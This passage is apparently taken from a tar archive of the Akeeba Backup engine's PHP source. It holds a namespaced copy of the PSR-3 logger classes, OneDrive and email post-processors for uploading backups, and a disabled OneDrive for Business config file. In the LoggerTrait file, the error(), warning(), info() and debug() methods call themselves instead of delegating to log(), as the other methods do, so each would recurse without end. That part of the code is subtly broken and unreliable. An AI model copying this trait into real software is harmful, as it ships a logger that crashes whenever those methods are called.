 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 * THE SOFTWARE.
 */

defined('AKEEBAENGINE') || die();

class InvalidArgumentException extends \InvalidArgumentException
{
}
com_akeeba/BackupEngine/Psr/Log/LoggerTrait.php000060400000012126152455305260015373 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Psr\Log;

/**
 * This file is part of a privately namespaced copy of PSR-3 version 1.
 *
 * You can find the original PSR-3 in https://www.php-fig.org/psr/psr-3/ and the original code in
 * https://github.com/php-fig/log
 *
 * The license of the original code can be found below.
 *
 * Copyright (c) 2012 PHP Framework Interoperability Group
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 * THE SOFTWARE.
 */

defined('AKEEBAENGINE') || die();

/**
 * This is a simple Logger trait that classes unable to extend AbstractLogger
 * (because they extend another class, etc) can include.
 *
 * It simply delegates all log-level-specific methods to the `log` method to
 * reduce boilerplate code that a simple Logger that does the same thing with
 * messages regardless of the error level has to implement.
 */
trait LoggerTrait
{
	/**
	 * System is unusable.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return null
	 */
	public function emergency($message, array $context = [])
	{
		$this->log(LogLevel::EMERGENCY, $message, $context);
	}

	/**
	 * Action must be taken immediately.
	 *
	 * Example: Entire website down, database unavailable, etc. This should
	 * trigger the SMS alerts and wake you up.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return null
	 */
	public function alert($message, array $context = [])
	{
		$this->log(LogLevel::ALERT, $message, $context);
	}

	/**
	 * Critical conditions.
	 *
	 * Example: Application component unavailable, unexpected exception.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return null
	 */
	public function critical($message, array $context = [])
	{
		$this->log(LogLevel::CRITICAL, $message, $context);
	}

	/**
	 * Runtime errors that do not require immediate action but should typically
	 * be logged and monitored.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return null
	 */
	public function error($message, array $context = [])
	{
		$this->error($message, $context);
	}

	/**
	 * Exceptional occurrences that are not errors.
	 *
	 * Example: Use of deprecated APIs, poor use of an API, undesirable things
	 * that are not necessarily wrong.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return null
	 */
	public function warning($message, array $context = [])
	{
		$this->warning($message, $context);
	}

	/**
	 * Normal but significant events.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return null
	 */
	public function notice($message, array $context = [])
	{
		$this->log(LogLevel::NOTICE, $message, $context);
	}

	/**
	 * Interesting events.
	 *
	 * Example: User logs in, SQL logs.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return null
	 */
	public function info($message, array $context = [])
	{
		$this->info($message, $context);
	}

	/**
	 * Detailed debug information.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return null
	 */
	public function debug($message, array $context = [])
	{
		$this->debug($message, $context);
	}

	/**
	 * Logs with an arbitrary level.
	 *
	 * @param   mixed   $level
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return null
	 */
	abstract public function log($level, $message, array $context = []);
}
com_akeeba/BackupEngine/Psr/Log/LoggerAwareTrait.php000060400000005033152455305260016352 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Psr\Log;

/**
 * This file is part of a privately namespaced copy of PSR-3 version 1.
 *
 * You can find the original PSR-3 in https://www.php-fig.org/psr/psr-3/ and the original code in
 * https://github.com/php-fig/log
 *
 * The license of the original code can be found below.
 *
 * Copyright (c) 2012 PHP Framework Interoperability Group
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 * THE SOFTWARE.
 */

defined('AKEEBAENGINE') || die();

/**
 * Basic Implementation of LoggerAwareInterface.
 */
trait LoggerAwareTrait
{
	/** @var LoggerInterface */
	protected $logger;

	/**
	 * Sets a logger.
	 *
	 * @param   LoggerInterface  $logger
	 */
	public function setLogger(LoggerInterface $logger)
	{
		$this->logger = $logger;
	}
}
com_akeeba/BackupEngine/Psr/Log/LoggerAwareInterface.php000060400000004760152455305260017175 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Psr\Log;

/**
 * This file is part of a privately namespaced copy of PSR-3 version 1.
 *
 * You can find the original PSR-3 in https://www.php-fig.org/psr/psr-3/ and the original code in
 * https://github.com/php-fig/log
 *
 * The license of the original code can be found below.
 *
 * Copyright (c) 2012 PHP Framework Interoperability Group
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 * THE SOFTWARE.
 */

defined('AKEEBAENGINE') || die();

/**
 * Describes a logger-aware instance
 */
interface LoggerAwareInterface
{
	/**
	 * Sets a logger instance on the object
	 *
	 * @param   LoggerInterface  $logger
	 *
	 * @return null
	 */
	public function setLogger(LoggerInterface $logger);
}
com_akeeba/BackupEngine/Psr/Log/LogLevel.php000060400000004776152455305260014675 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Psr\Log;

/**
 * This file is part of a privately namespaced copy of PSR-3 version 1.
 *
 * You can find the original PSR-3 in https://www.php-fig.org/psr/psr-3/ and the original code in
 * https://github.com/php-fig/log
 *
 * The license of the original code can be found below.
 *
 * Copyright (c) 2012 PHP Framework Interoperability Group
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 * THE SOFTWARE.
 */

defined('AKEEBAENGINE') || die();

/**
 * Describes log levels
 */
class LogLevel
{
	const EMERGENCY = 'emergency';
	const ALERT = 'alert';
	const CRITICAL = 'critical';
	const ERROR = 'error';
	const WARNING = 'warning';
	const NOTICE = 'notice';
	const INFO = 'info';
	const DEBUG = 'debug';
}
com_akeeba/BackupEngine/Psr/Log/LoggerInterface.php000060400000011661152455305260016213 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Psr\Log;

/**
 * This file is part of a privately namespaced copy of PSR-3 version 1.
 *
 * You can find the original PSR-3 in https://www.php-fig.org/psr/psr-3/ and the original code in
 * https://github.com/php-fig/log
 *
 * The license of the original code can be found below.
 *
 * Copyright (c) 2012 PHP Framework Interoperability Group
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 * THE SOFTWARE.
 */

defined('AKEEBAENGINE') || die();

/**
 * Describes a logger instance
 *
 * The message MUST be a string or object implementing __toString().
 *
 * The message MAY contain placeholders in the form: {foo} where foo
 * will be replaced by the context data in key "foo".
 *
 * The context array can contain arbitrary data, the only assumption that
 * can be made by implementors is that if an Exception instance is given
 * to produce a stack trace, it MUST be in a key named "exception".
 *
 * See https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-3-logger-interface.md
 * for the full interface specification.
 */
interface LoggerInterface
{
	/**
	 * System is unusable.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return null
	 */
	public function emergency($message, array $context = []);

	/**
	 * Action must be taken immediately.
	 *
	 * Example: Entire website down, database unavailable, etc. This should
	 * trigger the SMS alerts and wake you up.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return null
	 */
	public function alert($message, array $context = []);

	/**
	 * Critical conditions.
	 *
	 * Example: Application component unavailable, unexpected exception.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return null
	 */
	public function critical($message, array $context = []);

	/**
	 * Runtime errors that do not require immediate action but should typically
	 * be logged and monitored.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return null
	 */
	public function error($message, array $context = []);

	/**
	 * Exceptional occurrences that are not errors.
	 *
	 * Example: Use of deprecated APIs, poor use of an API, undesirable things
	 * that are not necessarily wrong.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return null
	 */
	public function warning($message, array $context = []);

	/**
	 * Normal but significant events.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return null
	 */
	public function notice($message, array $context = []);

	/**
	 * Interesting events.
	 *
	 * Example: User logs in, SQL logs.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return null
	 */
	public function info($message, array $context = []);

	/**
	 * Detailed debug information.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return null
	 */
	public function debug($message, array $context = []);

	/**
	 * Logs with an arbitrary level.
	 *
	 * @param   mixed   $level
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return null
	 */
	public function log($level, $message, array $context = []);
}
com_akeeba/BackupEngine/Psr/Log/NullLogger.php000060400000005502152455305260015222 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Psr\Log;

/**
 * This file is part of a privately namespaced copy of PSR-3 version 1.
 *
 * You can find the original PSR-3 in https://www.php-fig.org/psr/psr-3/ and the original code in
 * https://github.com/php-fig/log
 *
 * The license of the original code can be found below.
 *
 * Copyright (c) 2012 PHP Framework Interoperability Group
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 * THE SOFTWARE.
 */

defined('AKEEBAENGINE') || die();

/**
 * This Logger can be used to avoid conditional log calls
 *
 * Logging should always be optional, and if no logger is provided to your
 * library creating a NullLogger instance to have something to throw logs at
 * is a good way to avoid littering your code with `if ($this->logger) { }`
 * blocks.
 */
class NullLogger extends AbstractLogger
{
	/**
	 * Logs with an arbitrary level.
	 *
	 * @param   mixed   $level
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return null
	 */
	public function log($level, $message, array $context = [])
	{
		// noop
	}
}
com_akeeba/BackupEngine/Postproc/Onedriveapp.php000060400000010171152455305260015746 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc;

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Akeeba\Engine\Postproc\Connector\OneDriveApp as ConnectorOneDrive;
use Akeeba\Engine\Postproc\Exception\BadConfiguration;

class Onedriveapp extends Onedrivebusiness
{
	/**
	 * The name of the OAuth2 callback method in the parent window (the configuration page)
	 *
	 * @var   string
	 */
	protected $callbackMethod = 'akeeba_onedriveapp_oauth_callback';

	/**
	 * The key in Akeeba Engine's settings registry for this post-processing method
	 *
	 * @var   string
	 */
	protected $settingsKey = 'onedriveapp';

	public function __construct()
	{
		parent::__construct();

		// This OneDrive integration does not allow the getDrives method.
		array_pop($this->allowedCustomAPICallMethods);
	}

	protected function makeConnector()
	{
		// Retrieve engine configuration data
		$config = Factory::getConfiguration();

		$access_token  = trim($config->get('engine.postproc.' . $this->settingsKey . '.access_token', ''));
		$refresh_token = trim($config->get('engine.postproc.' . $this->settingsKey . '.refresh_token', ''));

		$this->isChunked  = $config->get('engine.postproc.' . $this->settingsKey . '.chunk_upload', true);
		$this->chunkSize  = $config->get('engine.postproc.' . $this->settingsKey . '.chunk_upload_size', 10) * 1024 * 1024;
		$defaultDirectory = rtrim($config->get('engine.postproc.' . $this->settingsKey . '.directory', ''), '/');
		$this->directory  = $config->get('volatile.postproc.directory', $defaultDirectory);

		// Sanity checks
		if (empty($refresh_token))
		{
			throw new BadConfiguration('You have not linked Akeeba Backup with your OneDrive account');
		}

		if (!function_exists('curl_init'))
		{
			throw new BadConfiguration('cURL is not enabled, please enable it in order to post-process your archives');
		}

		// Fix the directory name, if required
		$this->directory = empty($this->directory) ? '' : $this->directory;
		$this->directory = trim($this->directory);
		$this->directory = ltrim(Factory::getFilesystemTools()->TranslateWinPath($this->directory), '/');
		$this->directory = Factory::getFilesystemTools()->replace_archive_name_variables($this->directory);
		$config->set('volatile.postproc.directory', $this->directory);

		// Get Download ID
		$dlid = Platform::getInstance()->get_platform_configuration_option('update_dlid', '');

		if (empty($dlid))
		{
			throw new BadConfiguration('You must enter your Download ID in the application configuration before using the “Upload to OneDrive” feature.');
		}

		$connector = new ConnectorOneDrive($access_token, $refresh_token, $dlid);

		// Validate the tokens
		Factory::getLog()->debug(__METHOD__ . " - Validating the OneDrive tokens");
		$pingResult = $connector->ping();

		// Save new configuration if there was a refresh
		if ($pingResult['needs_refresh'])
		{
			Factory::getLog()->debug(__METHOD__ . " - OneDrive tokens were refreshed");
			$config->set('engine.postproc.' . $this->settingsKey . '.access_token', $pingResult['access_token'], false);
			$config->set('engine.postproc.' . $this->settingsKey . '.refresh_token', $pingResult['refresh_token'], false);

			$profile_id = Platform::getInstance()->get_active_profile();
			Platform::getInstance()->save_configuration($profile_id);
		}

		return $connector;
	}

	protected function getOAuth2HelperUrl()
	{
		return ConnectorOneDrive::helperUrl;
	}
}com_akeeba/BackupEngine/Postproc/onedrivebusiness.ini-disabled000060400000004663152455305260020627 0ustar00; Akeeba Upload to OneDrive for Business post processing engine
; Copyright (c)2006-2018 Nicholas K. Dionysopoulos / Akeeba Ltd
;
; Sorry, we had to cancel this feature.
;
; Microsoft requires us to register the app in the Azure Directory per
; https://dev.onedrive.com/app-registration-server.htm  Despite repeated attempts at following their instructions it
; seems to be impossible. There is no "midsize business" plan, the regular subscription doesn'tlet you create the
; "private site" required for development and both enterprise and developer accounts can't seem to be able to be
; purchased. Apparently the only way to make this work is having a US-based enterprise?! So, sorry, we won't waste any
; more time on this.
;

; Engine information
[_information]
title=COM_AKEEBA_CONFIG_ENGINE_POSTPROC_ONEDRIVEBUSINESS_TITLE
description=COM_AKEEBA_CONFIG_ENGINE_POSTPROC_ONEDRIVEBUSINESS_DESCRIPTION

; Post-process after generating each part?
[engine.postproc.common.after_part]
default=0
type=bool
title=COM_AKEEBA_CONFIG_POSTPROCPARTS_TITLE
description=COM_AKEEBA_CONFIG_POSTPROCPARTS_DESCRIPTION

; Delete from server after processing?
[engine.postproc.common.delete_after]
default=1
type=bool
title=COM_AKEEBA_CONFIG_DELETEAFTER_TITLE
description=COM_AKEEBA_CONFIG_DELETEAFTER_DESCRIPTION

; Enable chunk upload?
[engine.postproc.onedrivebusiness.chunk_upload]
default=1
type=bool
title=COM_AKEEBA_CONFIG_BOX_CHUNKUPLOAD_ENABLE

; Chunk size in megabytes
[engine.postproc.onedrivebusiness.chunk_upload_size]
default=10
type=integer
min=4
max=60
shortcuts="5|10|20|40|60"
scale=1
uom=MB
title=COM_AKEEBA_CONFIG_BOX_CHUNKUPLOAD_SIZE

; Open OAuth
[engine.postproc.onedrivebusiness.openoauth]
default=""
type=button
title=COM_AKEEBA_CONFIG_BOX_OPENOAUTH_TITLE
description=COM_AKEEBA_CONFIG_BOX_OPENOAUTH_DESC
hook=akconfig_onedrivebusiness_openoauth

; OneDrive Directory name
[engine.postproc.onedrivebusiness.directory]
default="/"
type=string
title=COM_AKEEBA_CONFIG_ONEDRIVEBUSINESS_DIRECTORY_TITLE
description=COM_AKEEBA_CONFIG_ONEDRIVEBUSINESS_DIRECTORY_DESCRIPTION

[engine.postproc.onedrivebusiness.service_id]
default = ""
type=string
title=COM_AKEEBA_CONFIG_ONEDRIVEBUSINESS_SERVICEID_TITLE
description=COM_AKEEBA_CONFIG_ONEDRIVEBUSINESS_SERVICEID_DESCRIPTION

[engine.postproc.onedrivebusiness.refresh_token]
default = ""
type=string
title=COM_AKEEBA_CONFIG_ONEDRIVEBUSINESS_REFRESHTOKEN_TITLE
description=COM_AKEEBA_CONFIG_ONEDRIVEBUSINESS_REFRESHTOKEN_DESCRIPTION
com_akeeba/BackupEngine/Postproc/Email.php000060400000005526152455305260014531 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Akeeba\Engine\Postproc\Exception\BadConfiguration;
use Awf\Text\Text;
use Joomla\CMS\Language\Text as JText;
use RuntimeException;

class Email extends Base
{
	public function processPart($localFilepath, $remoteBaseName = null)
	{
		// Retrieve engine configuration data
		$config  = Factory::getConfiguration();
		$address = trim($config->get('engine.postproc.email.address', ''));
		$subject = $config->get('engine.postproc.email.subject', '0');

		// Sanity checks
		if (empty($address))
		{
			throw new BadConfiguration('You have not set up a recipient\'s email address for the backup files');
		}

		// Send the file
		$basename = empty($remoteBaseName) ? basename($localFilepath) : $remoteBaseName;

		Factory::getLog()->info(sprintf("Preparing to email %s to %s", $basename, $address));

		if (empty($subject))
		{
			$subject = "You have a new backup part";

			if (class_exists('\Awf\Text\Text'))
			{
				$subject = Text::_('COM_AKEEBA_COMMON_EMAIL_DEAFULT_SUBJECT');

				if ($subject === 'COM_AKEEBA_COMMON_EMAIL_DEAFULT_SUBJECT')
				{
					$subject = JText::_('COM_AKEEBA_COMMON_EMAIL_DEAFULT_SUBJECT');
				}
			}
			elseif (class_exists('\Joomla\CMS\Language\Text'))
			{
				$subject = JText::_('COM_AKEEBA_COMMON_EMAIL_DEAFULT_SUBJECT');

				if ($subject === 'COM_AKEEBA_COMMON_EMAIL_DEAFULT_SUBJECT')
				{
					$subject = JText::_('COM_AKEEBA_COMMON_EMAIL_DEAFULT_SUBJECT');
				}
			}
		}

		$body = "Emailing $basename";

		Factory::getLog()->debug("Subject: $subject");
		Factory::getLog()->debug("Body: $body");

		$result = Platform::getInstance()->send_email($address, $subject, $body, $localFilepath);

		// Return the result
		if ($result !== true)
		{
			// An error occurred
			throw new RuntimeException($result);
		}

		// Return success
		Factory::getLog()->info("Email sent successfully");

		return true;
	}

	protected function makeConnector()
	{
		/**
		 * This method does not use a connector.
		 */
		return;
	}


}
com_akeeba/BackupEngine/Postproc/Base.php000060400000015200152455305260014342 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Platform;
use Akeeba\Engine\Postproc\Exception\BadConfiguration;
use Akeeba\Engine\Postproc\Exception\DeleteNotSupported;
use Akeeba\Engine\Postproc\Exception\DownloadToBrowserNotSupported;
use Akeeba\Engine\Postproc\Exception\DownloadToServerNotSupported;
use Akeeba\Engine\Postproc\Exception\OAuthNotSupported;
use Akeeba\Engine\Util\FileCloseAware;
use Exception;

/**
 * Akeeba Engine post-processing abstract class. Provides the default implementation of most of the PostProcInterface
 * methods.
 */
abstract class Base implements PostProcInterface
{
	use FileCloseAware;

	/**
	 * Should we break the step before post-processing?
	 *
	 * The only engine which does not require a step break before is the None engine.
	 *
	 * @var bool
	 */
	protected $recommendsBreakBefore = true;

	/**
	 * Should we break the step after post-processing?
	 *
	 * @var bool
	 */
	protected $recommendsBreakAfter = true;

	/**
	 * Does this engine processes the files in a way that makes deleting the originals safe?
	 *
	 * @var bool
